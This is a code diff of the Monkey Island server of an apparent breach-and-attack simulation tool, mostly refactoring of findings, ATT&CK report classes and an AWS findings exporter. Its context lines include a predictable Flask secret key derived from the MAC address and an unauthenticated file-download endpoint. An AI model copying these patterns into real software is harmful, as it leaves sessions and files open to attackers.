for i in range(0, len(value)):
if isinstance(value[i], dict):
value[i] = normalize_obj(value[i])
return obj
def output_json(obj, code, headers=None):
obj = normalize_obj(obj)
resp = make_response(dumps(obj), code)
resp.headers.extend(headers or {})
return resp
def init_app_config(app, mongo_url):
app.config['MONGO_URI'] = mongo_url
app.config['SECRET_KEY'] = str(uuid.getnode())

View File

@ -1,7 +1,6 @@
import monkey_island.cc.auth
from monkey_island.cc.environment import Environment
from common.cloud.aws_instance import AwsInstance
from Crypto.Hash import SHA3_512
__author__ = 'itay.mizeretz'

View File

@ -34,8 +34,8 @@ def load_server_configuration_from_file():
def load_env_from_file():
config_json = load_server_configuration_from_file()
return config_json['server_config']
loaded_config_json = load_server_configuration_from_file()
return loaded_config_json['server_config']
try:

View File

@ -2,7 +2,6 @@ import os
import json
import logging.config
__author__ = 'Maor.Rayzin'

View File

@ -6,7 +6,6 @@
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
@ -14,7 +13,6 @@
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
@ -25,9 +23,11 @@
"encoding": "utf8"
}
},
"root": {
"level": "DEBUG",
"handlers": ["console", "info_file_handler"]
"handlers": [
"console",
"info_file_handler"
]
}
}

View File

@ -13,6 +13,7 @@ if BASE_PATH not in sys.path:
from monkey_island.cc.island_logger import json_setup_logging
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG)

View File

@ -43,6 +43,7 @@ class Monkey(Document):
tunnel = ReferenceField("self")
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
# instance. See https://github.com/guardicore/monkey/issues/426.
@staticmethod

View File

@ -84,7 +84,7 @@ class TestMonkey(IslandTestCase):
self.clean_monkey_db()
linux_monkey = Monkey(guid=str(uuid.uuid4()),
description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64")
description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu")
windows_monkey = Monkey(guid=str(uuid.uuid4()),
description="Windows bla bla bla")
unknown_monkey = Monkey(guid=str(uuid.uuid4()),
@ -142,7 +142,7 @@ class TestMonkey(IslandTestCase):
cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_1.hits, 0)
self.assertEqual(cache_info_after_query_1.misses, 1)
logger.info("1) ID: {} label: {}".format(linux_monkey.id, label))
logger.debug("1) ID: {} label: {}".format(linux_monkey.id, label))
self.assertIsNotNone(label)
self.assertIn(hostname_example, label)
@ -150,7 +150,7 @@ class TestMonkey(IslandTestCase):
# should be cached
label = Monkey.get_label_by_id(linux_monkey.id)
logger.info("2) ID: {} label: {}".format(linux_monkey.id, label))
logger.debug("2) ID: {} label: {}".format(linux_monkey.id, label))
cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_2.hits, 1)
self.assertEqual(cache_info_after_query_2.misses, 1)
@ -160,7 +160,7 @@ class TestMonkey(IslandTestCase):
# should be a miss
label = Monkey.get_label_by_id(linux_monkey.id)
logger.info("3) ID: {} label: {}".format(linux_monkey.id, label))
logger.debug("3) ID: {} label: {}".format(linux_monkey.id, label))
cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info()
logger.debug("Cache info: {}".format(str(cache_info_after_query_3)))
# still 1 hit only
@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase):
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_after_query.hits, 2)

View File

@ -1,4 +1,4 @@
from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.finding import Finding
@ -26,7 +26,7 @@ class AggregateFinding(Finding):
def add_malicious_activity_to_timeline(events):
AggregateFinding.create_or_add_to_existing(
test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
status=STATUS_VERIFY,
test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE,
status=zero_trust_consts.STATUS_VERIFY,
events=events
)

View File

@ -2,7 +2,7 @@ from datetime import datetime
from mongoengine import EmbeddedDocument, DateTimeField, StringField
from common.data.zero_trust_consts import EVENT_TYPES
import common.data.zero_trust_consts as zero_trust_consts
class Event(EmbeddedDocument):
@ -19,7 +19,7 @@ class Event(EmbeddedDocument):
timestamp = DateTimeField(required=True)
title = StringField(required=True)
message = StringField()
event_type = StringField(required=True, choices=EVENT_TYPES)
event_type = StringField(required=True, choices=zero_trust_consts.EVENT_TYPES)
# LOGIC
@staticmethod

View File

@ -5,7 +5,7 @@ Define a Document Schema for Zero Trust findings.
from mongoengine import Document, StringField, EmbeddedDocumentListField
from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY
import common.data.zero_trust_consts as zero_trust_consts
# Dummy import for mongoengine.
# noinspection PyUnresolvedReferences
from monkey_island.cc.models.zero_trust.event import Event
@ -30,18 +30,18 @@ class Finding(Document):
times, or complex action we will perform - somewhat like an API.
"""
# SCHEMA
test = StringField(required=True, choices=TESTS)
status = StringField(required=True, choices=ORDERED_TEST_STATUSES)
test = StringField(required=True, choices=zero_trust_consts.TESTS)
status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES)
events = EmbeddedDocumentListField(document_type=Event)
# http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance
meta = {'allow_inheritance': True}
# LOGIC
def get_test_explanation(self):
return TESTS_MAP[self.test][TEST_EXPLANATION_KEY]
return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.TEST_EXPLANATION_KEY]
def get_pillars(self):
return TESTS_MAP[self.test][PILLARS_KEY]
return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.PILLARS_KEY]
# Creation methods
@staticmethod

View File

@ -1,11 +1,11 @@
from mongoengine import StringField
from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.finding import Finding
def need_to_overwrite_status(saved_status, new_status):
return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED)
return (saved_status == zero_trust_consts.STATUS_PASSED) and (new_status == zero_trust_consts.STATUS_FAILED)
class SegmentationFinding(Finding):
@ -35,7 +35,7 @@ class SegmentationFinding(Finding):
new_finding = SegmentationFinding(
first_subnet=subnets[0],
second_subnet=subnets[1],
test=TEST_SEGMENTATION,
test=zero_trust_consts.TEST_SEGMENTATION,
status=status,
events=[segmentation_event]
)

View File

@ -1,4 +1,4 @@
from common.data.zero_trust_consts import *
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.models.zero_trust.finding import Finding
@ -10,9 +10,9 @@ class TestAggregateFinding(IslandTestCase):
self.fail_if_not_testing_env()
self.clean_finding_db()
test = TEST_MALICIOUS_ACTIVITY_TIMELINE
status = STATUS_VERIFY
events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)]
test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE
status = zero_trust_consts.STATUS_VERIFY
events = [Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)]
self.assertEqual(len(Finding.objects(test=test, status=status)), 0)
AggregateFinding.create_or_add_to_existing(test, status, events)
@ -29,9 +29,9 @@ class TestAggregateFinding(IslandTestCase):
self.fail_if_not_testing_env()
self.clean_finding_db()
test = TEST_MALICIOUS_ACTIVITY_TIMELINE
status = STATUS_VERIFY
event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)
test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE
status = zero_trust_consts.STATUS_VERIFY
event = Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
events = [event]
self.assertEqual(len(Finding.objects(test=test, status=status)), 0)

View File

@ -1,6 +1,6 @@
from mongoengine import ValidationError
from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
@ -14,7 +14,7 @@ class TestEvent(IslandTestCase):
_ = Event.create_event(
title=None, # title required
message="bla bla",
event_type=EVENT_TYPE_MONKEY_NETWORK
event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
)
with self.assertRaises(ValidationError):
@ -28,5 +28,5 @@ class TestEvent(IslandTestCase):
_ = Event.create_event(
title="skjs",
message="bla bla",
event_type=EVENT_TYPE_MONKEY_NETWORK
event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
)

View File

@ -1,6 +1,6 @@
from mongoengine import ValidationError
from common.data.zero_trust_consts import *
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.finding import Finding
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
@ -14,25 +14,26 @@ class TestFinding(IslandTestCase):
Also, the working directory needs to be the working directory from which you usually run the island so the
server.json file is found and loaded.
"""
def test_save_finding_validation(self):
self.fail_if_not_testing_env()
self.clean_finding_db()
with self.assertRaises(ValidationError):
_ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[])
_ = Finding.save_finding(test="bla bla", status=zero_trust_consts.STATUS_FAILED, events=[])
with self.assertRaises(ValidationError):
_ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[])
_ = Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status="bla bla", events=[])
def test_save_finding_sanity(self):
self.fail_if_not_testing_env()
self.clean_finding_db()
self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0)
event_example = Event.create_event(
title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK)
Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example])
title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event_example])
self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 1)
self.assertEqual(len(Finding.objects(status=STATUS_FAILED)), 1)
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1)
self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1)

View File

@ -1,4 +1,4 @@
from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK
import common.data.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
@ -12,11 +12,11 @@ class TestSegmentationFinding(IslandTestCase):
first_segment = "1.1.1.0/24"
second_segment = "2.2.2.0-2.2.2.254"
third_segment = "3.3.3.3"
event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK)
event = Event.create_event("bla", "bla", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
SegmentationFinding.create_or_add_to_existing_finding(
subnets=[first_segment, second_segment],
status=STATUS_FAILED,
status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event
)
@ -26,7 +26,7 @@ class TestSegmentationFinding(IslandTestCase):
SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER
subnets=[second_segment, first_segment],
status=STATUS_FAILED,
status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event
)
@ -36,7 +36,7 @@ class TestSegmentationFinding(IslandTestCase):
SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER
subnets=[first_segment, third_segment],
status=STATUS_FAILED,
status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event
)
@ -45,7 +45,7 @@ class TestSegmentationFinding(IslandTestCase):
SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER
subnets=[second_segment, third_segment],
status=STATUS_FAILED,
status=zero_trust_consts.STATUS_FAILED,
segmentation_event=event
)

View File

@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource):
AttackConfig.update_config({'properties': json.loads(request.data)})
AttackConfig.apply_to_monkey_config()
return {}

View File

@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
__author__ = 'Barak'
import logging
logger = logging.getLogger(__name__)

View File

@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService
__author__ = 'Barak'
# TODO: separate logic from interface

View File

@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource):
"nodes": monkeys + nodes + monkey_island,
"edges": edges
}

View File

@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download user's PBA file
"""
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(GET_FILE_DIR, path)

View File

@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
@jwt_required()
def get(self, file_type):
"""

View File

@ -1,6 +1,5 @@
import http.client
import flask_restful
from flask import jsonify

View File

@ -1,18 +1,18 @@
from datetime import datetime
import logging
import threading
from datetime import datetime
import flask_restful
from flask import request, make_response, jsonify
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo
from monkey_island.cc.services.database import Database
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.reporting.report import ReportService
from monkey_island.cc.services.attack.attack_report import AttackReportService
from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, safe_generate_reports
from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, \
safe_generate_reports
from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.database import Database
__author__ = 'Barak'

View File

@ -22,8 +22,7 @@ class TelemetryFeed(flask_restful.Resource):
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
telemetries = mongo.db.telemetry.find({})
else:
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
try:

View File

@ -2,7 +2,6 @@ from bson import json_util
import flask_restful
from flask import request
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo, database

View File

@ -2,7 +2,6 @@ import flask_restful
import logging
from monkey_island.cc.environment.environment import env
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.version_update import VersionUpdateService
__author__ = 'itay.mizeretz'

View File

@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210,
@ -75,7 +74,10 @@ class AttackReportService:
Gets timestamp of latest attack telem
:return: timestamp of latest attack telem
"""
return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0]
return [
x['timestamp'] for x in
mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)
][0]
@staticmethod
def get_latest_report():

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1003(AttackTechnique):
tech_id = "T1003"
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
scanned_msg = ""

View File

@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1005(AttackTechnique):
tech_id = "T1005"
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1016(AttackTechnique):
tech_id = "T1016"
unscanned_msg = "Monkey didn't gather network configurations."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1018(AttackTechnique):
tech_id = "T1018"
unscanned_msg = "Monkey didn't find any machines on the network."
scanned_msg = ""

View File

@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ"

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1041(AttackTechnique):
tech_id = "T1041"
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1059(AttackTechnique):
tech_id = "T1059"
unscanned_msg = "Monkey didn't exploit any machines to run commands at."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1065(AttackTechnique):
tech_id = "T1065"
unscanned_msg = ""
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1075(AttackTechnique):
tech_id = "T1075"
unscanned_msg = "Monkey didn't try to use pass the hash attack."
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1082(AttackTechnique):
tech_id = "T1082"
unscanned_msg = "Monkey didn't gather any system info on the network."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1086(AttackTechnique):
tech_id = "T1086"
unscanned_msg = "Monkey didn't run powershell."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1090(AttackTechnique):
tech_id = "T1090"
unscanned_msg = "Monkey didn't use connection proxy."
scanned_msg = ""
@ -20,5 +19,3 @@ class T1090(AttackTechnique):
data = T1090.get_base_data_by_status(status)
data.update({'proxies': monkeys})
return data

View File

@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1105(AttackTechnique):
tech_id = "T1105"
unscanned_msg = "Monkey didn't try to copy files to any systems."
scanned_msg = "Monkey tried to copy files, but failed."

View File

@ -46,5 +46,3 @@ class T1110(AttackTechnique):
data.update({'services': attempts})
return data

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1188(AttackTechnique):
tech_id = "T1188"
unscanned_msg = "Monkey didn't use multi-hop proxy."
scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1210(AttackTechnique):
tech_id = "T1210"
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."

View File

@ -15,7 +15,6 @@ __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
# This should be used for config values of array type (array of strings only)
ENCRYPTED_CONFIG_ARRAYS = \
[
@ -122,11 +121,16 @@ class ConfigService:
@staticmethod
def ssh_add_keys(public_key, private_key, user, ip):
if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'],
False, False), user, ip):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
{"public_key": public_key, "private_key": private_key,
"user": user, "ip": ip})
if not ConfigService.ssh_key_exists(
ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], False, False), user, ip):
ConfigService.add_item_to_config_set(
'internal.exploits.exploit_ssh_keys',
{
"public_key": public_key,
"private_key": private_key,
"user": user, "ip": ip
}
)
@staticmethod
def ssh_key_exists(keys, user, ip):
@ -139,7 +143,7 @@ class ConfigService:
if should_encrypt:
try:
ConfigService.encrypt_config(config_json)
except KeyError as e:
except KeyError:
logger.error('Bad configuration file was submitted.')
return False
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
@ -149,9 +153,9 @@ class ConfigService:
@staticmethod
def init_default_config():
if ConfigService.default_config is None:
defaultValidatingDraft4Validator = ConfigService._extend_config_with_default(Draft4Validator)
default_validating_draft4_validator = ConfigService._extend_config_with_default(Draft4Validator)
config = {}
defaultValidatingDraft4Validator(SCHEMA).validate(config)
default_validating_draft4_validator(SCHEMA).validate(config)
ConfigService.default_config = config
@staticmethod
@ -202,15 +206,15 @@ class ConfigService:
# Do it only for root.
if instance != {}:
return
for property, subschema in list(properties.items()):
for property1, subschema1 in list(properties.items()):
main_dict = {}
for property2, subschema2 in list(subschema["properties"].items()):
for property2, subschema2 in list(subschema1["properties"].items()):
sub_dict = {}
for property3, subschema3 in list(subschema2["properties"].items()):
if "default" in subschema3:
sub_dict[property3] = subschema3["default"]
main_dict[property2] = sub_dict
instance.setdefault(property, main_dict)
instance.setdefault(property1, main_dict)
for error in validate_properties(validator, properties, instance, schema):
yield error

View File

@ -6,7 +6,6 @@ from monkey_island.cc.services.post_breach_files import remove_PBA_files
from flask import jsonify
from monkey_island.cc.database import mongo
logger = logging.getLogger(__name__)
@ -28,4 +27,3 @@ class Database(object):
def init_db():
if not mongo.db.collection_names():
Database.reset_db()

View File

@ -141,7 +141,7 @@ class EdgeService:
@staticmethod
def get_edge_label(edge):
NodeService = monkey_island.cc.services.node.NodeService
node_service = monkey_island.cc.services.node.NodeService
from_id = edge["from"]
to_id = edge["to"]
@ -153,9 +153,9 @@ class EdgeService:
if Monkey.is_monkey(to_id):
to_label = Monkey.get_label_by_id(to_id)
else:
to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id))
to_label = node_service.get_node_label(node_service.get_node_by_id(to_id))
RIGHT_ARROW = "\u2192"
return "%s %s %s" % (from_label, RIGHT_ARROW, to_label)
RIGHT_ARROW = "\u2192"

View File

@ -1,4 +1,5 @@
import logging
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
__author__ = 'maor.rayzin'

View File

@ -56,9 +56,9 @@ class NodeService:
accessible_from_nodes.append(from_node_label)
accessible_from_nodes_hostnames.append(from_node_hostname)
for exploit in edge["exploits"]:
exploit["origin"] = from_node_label
exploits.append(exploit)
for edge_exploit in edge["exploits"]:
edge_exploit["origin"] = from_node_label
exploits.append(edge_exploit)
exploits = sorted(exploits, key=lambda exploit: exploit['timestamp'])

View File

@ -1,6 +1,5 @@
import logging
from monkey_island.cc.services.config import ConfigService
from common.cloud.aws_instance import AwsInstance
from common.cloud.aws_service import AwsService
from common.cmd.aws.aws_cmd_runner import AwsCmdRunner

View File

@ -148,8 +148,8 @@ class AWSExporter(Exporter):
severity=5,
title="Weak segmentation - Machines were able to communicate over unused ports.",
description="Use micro-segmentation policies to disable communication other than the required.",
recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}"
.format(issue['machine'], issue['dest']),
recommendation="Machines are not locked down at port level. "
"Network tunnel was set up from {0} to {1}".format(issue['machine'], issue['dest']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -160,10 +160,12 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=10,
title="Samba servers are vulnerable to 'SambaCry'",
description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \
.format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(
issue['machine'], issue['ip_address'], issue['username']),
description="Change {0} password to a complex one-use password that is not shared with other computers on the "
"network. Update your Samba server to 4.4.14 and up, "
"4.5.10 and up, or 4.6.4 and up.".format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB "
"protocol with user {2} and its password, and used the SambaCry "
"vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -174,10 +176,10 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=5,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']),
recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(
issue['machine'], issue['ip_address'], issue['username']),
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
"network.".format(issue['username']),
recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over "
"SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -188,10 +190,11 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(
issue['machine'], issue['ip_address'], issue['username']),
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
"network.".format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH"
" protocol with user {2} and its "
"password.".format(issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -203,8 +206,11 @@ class AWSExporter(Exporter):
severity=1,
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format(
machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']),
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated "
"over the SSH protocol with private key {ssh_key}.".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
ssh_key=issue['ssh_key']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -216,8 +222,10 @@ class AWSExporter(Exporter):
severity=10,
title="Elastic Search servers are vulnerable to CVE-2015-1427",
description="Update your Elastic Search server to version 1.4.3 and up.",
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
issue['machine'], issue['ip_address']),
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made "
"possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
issue['machine'],
issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -228,13 +236,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Weak segmentation - Machines from different segments are able to communicate.",
description="Segment your network and make sure there is no communication between machines from different segments.",
description="Segment your network and make sure there is no communication between machines from different "
"segments.",
recommendation="The network can probably be segmented. A monkey instance on \
{0} in the networks {1} \
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
issue['networks'],
issue[
'server_networks']),
issue['server_networks']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -259,7 +267,8 @@ class AWSExporter(Exporter):
title="Machines are vulnerable to 'Shellshock'",
description="Update your Bash to a ShellShock-patched version.",
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a "
"shell injection attack on the paths: {3}.".format(
issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
@ -271,10 +280,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
"network.".format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB "
"protocol with user {2} and its password.".format(
issue['machine'],
issue['ip_address'],
issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@ -285,9 +297,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.",
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
